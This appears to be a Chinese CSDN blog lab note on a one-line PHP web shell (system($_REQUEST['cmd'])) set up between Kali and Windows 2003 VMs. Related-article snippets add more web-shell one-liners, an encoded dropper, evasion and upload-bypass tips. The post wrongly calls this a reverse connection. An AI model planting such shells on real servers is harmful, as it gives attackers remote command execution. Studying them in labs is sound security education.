一句话木马

于 2021-11-26 23:49:09 发布
阅读量450 收藏 1
点赞数 1
分类专栏： 渗透测试 文章标签： 安全 linux 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_52497013/article/details/121570733
版权

 简述

        写一个php脚本，实现简单的反向连接操作。

        网络环境：NAT模式下的Kali、win2003server

操作过程

写好php代码保存至kali的网站目录/var/www/html,命名为shell.php

<?php system($_REQUEST['cmd']);?>

       

开启apache服务

service apache2 start

在win2003server中访问192.168.31.129/shell.php

并加上一些linux命令：ls、pwd、whoami、cd等等

还可以访问到这个目录下的其他文件，实验完成

附上一句话木马大全

各种一句话木马大全_冰河的专栏-CSDN博客_一句话木马

_AaRong_
关注
专栏目录
PHP一句话木马深度详细剖析
Cwillchris的博客
06-01 1433
PHP一句话木马原理分析
一句话木马的套路
whatday的专栏
02-23 1688
0×01 前言 尽最大努力在一文中让大家掌握一些有用的 WEBSHELL 免杀技巧。 0×02 关于 eval 于 assert 关于 eval 函数在 php 给出的官方说明是 eval 是一个语言构造器而不是一个函数，不能被 可变函数 调用 可变函数：通过一个变量，获取其对应的变量值，然后通过给该值增加一个括号 ()，让系统认为该值是一个函数，从而当做函数来执行 通俗的说比如你...
实验6 一句话木马
Sum
06-02 1147
实验6 一句话木马 一、文件上传漏洞 预备知识 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的，部分文件上传漏洞的利用技术门槛非常的低，对于攻击者来说很容易实施。 大部分的网站和应用系统都有上传功能，如用户头像上传，图片上传，文档上传等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，导致允许攻击者向某个可通过Web访问的目录上传任意PHP/JSP/ASPX/ASP文件，并能够
远程控制——一句话木马
Coffilater的博客
11-13 6736
两个物理机要连在同一个子网，都采用桥接方式 普通用户有很多权限限制，所以要用root权限 默认打开目录是在var/www/html 所以直接在该目录下创建shell.php文件 http默认端口为80，如果是别的端口，要在后面加上端口确定的号码 nmap扫描端口是否开放 apach 开放 service apache2 start 开放端口 在Kali Linxu中使用默认端口打开Apache服务 开放之后再扫描，可以看到端口已经开放 http://192.168.43.7
探索基于.NET下实现一句话木马之asmx篇1
08-03
【.NET下实现一句话木马之asmx篇】 在网络安全领域，木马程序通常被视为恶意软件，但在合法的安全研究和漏洞测试中，了解其工作原理是至关重要的。本篇文章主要探讨了如何在.NET环境中利用ASMX（Web Service）技术...
一句话木马要点和防范注意事项
最新发布
05-24
"一句话木马"，顾名思义，是指利用简短的代码实现的恶意程序，它通常隐藏在网页、脚本或者其他可执行文件中，通过Web服务的漏洞进行植入，以达到远程控制或非法获取服务器权限的目的。这类木马因为其简洁高效的特点...
容器内反弹shell的51种姿势
帮助别人等于帮助自己 ——MXi4oyu
11-19 1428
什么是反弹shell？ 反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。 为什么要反弹shell？ 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。 举例：假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向
上传漏洞-一句话木马
Coisini的博客
05-30 8605
声明：为什么又写一篇关于一句话木马，对，我第一次没写明白，直写了一句话木马的简单制作，但是还是有很多同学真的看不懂，所以我今天改一下，这次精写！ 上传漏洞-一句话木马 讲述内容： 一句话木马 木马使用技巧 （中国菜刀、C32、CKnife） 简介: 一句话木马 一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用 往目标网站中加入一句话木马，然后你就可以在本地通过...
PHP一句话木马小结与SQL语句写一句话木马
09-11 306
一、基础类的一句话--功能仅限于验证漏洞了，实际中非常容易被查出出来： <?php @eval($_GET["code"])?> <?php @system($_POST["cmd"])?> 二、编码的替换的类型： <?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_dec...
PHP一句话木马攻防
浪子四方
01-17 3278
引言 在网络世界，信息唾手可得，很难保证信息的绝对安全，只要公网可以访问，那么总会存在那么点漏洞让非法入侵者有机可乘，所以作为开发者或网络管理人员，我们要定时查看日志，备份站点数据，做好安全防范攻略。此笔记记录笔者对PHP配置的安全建议，有更好的方法也希望小伙伴们能够告知我一下，互相学习互相进步，构建安全站点。 PHP小马 方式1：system() <?php $cmd = $_...
web渗透——PHP一句话插入
dongxie_tk的博客
10-20 5119
一句话：     //as是形式参数 位置： 1、模块——模块管理——文件管理器 2、模板——模板管理——标签源码管理 3、、、 进入，选择.PHP文件，插入一句话 使用： 1、在网页上，、、、/dede/ad_add.php?as=system('dir');    //可以显示该目录下的文件、文件大小以及字节数
weevely-kali PHP菜刀工具使用详解
网络安全领域优质创作者
11-21 1544
weevely是一款使用python编写的webshell工具（集webshell生成和连接于一身，仅用于安全学习教学之用，禁止非法用途），可以算作是linux下的一款菜刀替代工具（限于php），在linux上使用时还是很给力的，就是某些模块在windows上无法使用，总的来说还是非常不错的一款工具。 项目地址：https://github.com/epinna/Weevely 下面就针对...
PHP与SQL语句写一句话木马总结
mysteryflower的专栏
10-22 494
一、基础类的一句话--功能仅限于验证漏洞了，实际中非常容易被查出出来： <?php @eval($_GET["code"])?> <?php @system($_POST["cmd"])?> 二、编码的替换的类型： <?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9wa...
【渗透测试】文件上传漏洞
ssrf
08-01 1019
一、任意文件上传 靶场DVWA 安全级别：低 上传php文件 <?php @eval($_POST['caidao']);?> // 一句话木马 查看后端源码 <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $targe
DVWA漏洞演练平台 - 文件上传
weixin_30790841的博客
08-05 283
DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。 中国蚁剑的使用 本来想使用中国菜刀来演示WebShell的使用的，但中国菜刀太老了且不开源，还爆出过各种后门，所以笔者比较有阴影，这里我就...
《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞
weixin_53801131的博客
08-16 696
文件上传漏洞介绍： 正常的文件上传一般指图片、视频、文档等，web应用收集之后放入后台或者数据库存储，需要的时候再调用返回。 如果存在文件上传漏洞，黑客可以将恶意文件，比如php、jsp、asp等脚本文件上传到服务器，绕过web应用程序执行，效果相当于黑客直接拿到服务器的webshell，一旦黑客拿到webshell，则可以获取web应用的数据，删除web文件，甚至可以通过提权，进一步拿下整个服务器，还可以进行内网渗透。 文件上传漏洞和SQL注入漏洞攻击对象的区别： SQL注入漏洞攻击对象是数据库；
一句话木马上传常见的几种方法
热门推荐
YidaHu的博客
01-06 3万+
1，利用00截断，brupsuite上传利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格，产生0X00上传截断漏洞。 假设文件的上传路径为http://xx.xx.xx.xx/upfiles/lubr.php.jpg ,通过Burpsuite抓包截断将lubr.php后面的“.”换成“0X00”。在上传的时候，当文件系统读到”0X00″时，会认为文件已经结束，从而将lubr.php.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_AaRong_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值